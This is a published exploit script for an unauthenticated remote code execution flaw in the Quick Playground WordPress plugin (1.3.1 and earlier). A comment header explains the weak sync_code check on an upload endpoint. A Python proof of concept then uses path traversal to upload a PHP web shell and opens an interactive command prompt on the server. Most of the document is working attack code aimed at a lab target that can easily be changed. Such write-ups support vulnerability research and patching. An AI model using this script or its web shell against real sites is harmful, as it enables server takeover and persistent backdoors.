# Exploit Title: Quick Playground for WordPress 1.3.1 - Unauthenticated Remote Code Execution
# Google Dork: N/A
# Date: 2026-05-22
# Exploit Author: cardosource
# Vendor Homepage: https://quickplayground.com
# Software Link: https://downloads.wordpress.org/plugin/quick-playground.1.3.1.zip
# Version: <= 1.3.1
# Tested on: Docker / Debian / Apache / PHP 8.2 / WordPress 6.x
# CVE: CVE-2026-1830
#
# Description:
#
# The Quick Playground plugin exposes a REST API endpoint:
#
# /wp-json/quickplayground/v1/upload_image/{profile}
#
# The endpoint validates uploads exclusively through a sync_code value
# without requiring authenticated WordPress sessions or capability checks.
#
# Vulnerable code:
#
# if($code == $sync_code)
# return true;
#
# If a valid sync_code is known, weak, reused, leaked, or predictable,
# an attacker can upload arbitrary files using path traversal sequences.
#
# This PoC demonstrates arbitrary PHP file upload resulting in remote
# command execution in a controlled local lab environment.
#
# LAB SETUP:
#
# docker exec -it <container> \
# wp option update qckply_sync_code_default 'exploit123' --allow-root
#
# Usage:
#
# python3 poc.py
#
import requests
import base64
import random
import string
import re
TARGET = "http://localhost:8080"
SYNC_CODE = "exploit123"
PROFILE = "default"
s = requests.Session()
s.headers.update({
"User-Agent": "Mozilla/5.0",
"Content-Type": "application/json"
})
name = ''.join(random.choices(string.ascii_lowercase, k=8)) + ".php"
shell = b'<?php if(isset($_GET["cmd"])){echo "<pre>";system($_GET["cmd"]);echo "</pre>";} ?>'
payload = {
"sync_code": SYNC_CODE,
"filename": f"../../../{name}",
"base64": base64.b64encode(shell).decode()
}
url = f"{TARGET}/wp-json/quickplayground/v1/upload_image/{PROFILE}"
print("[-] Sending webshell...")
r = s.post(url, json=payload, timeout=15)
try:
msg = r.json().get("message", "")
except:
print("[-] Invalid server response")
exit()
if "saving to" not in msg:
print("[-] Upload failed")
print(r.text[:300])
exit()
print("[-] Checking execution...")
shell_url = f"{TARGET}/{name}"
r = s.get(shell_url, params={"cmd": "id"}, timeout=10)
m = re.search(r"<pre>(.*?)</pre>", r.text, re.DOTALL)
if not m:
print("[-] Shell not responding")
exit()
print("[+] RCE CONFIRMED!")
print(f"[+] Shell: {shell_url}?cmd=command")
print(f"[+] User: {m.group(1).strip()}\n")
while True:
cmd = input("$ ").strip()
if cmd == "exit":
break
if not cmd:
continue
r = s.get(shell_url, params={"cmd": cmd}, timeout=30)
m = re.search(r"<pre>(.*?)</pre>", r.text, re.DOTALL)
if m:
print(m.group(1).strip())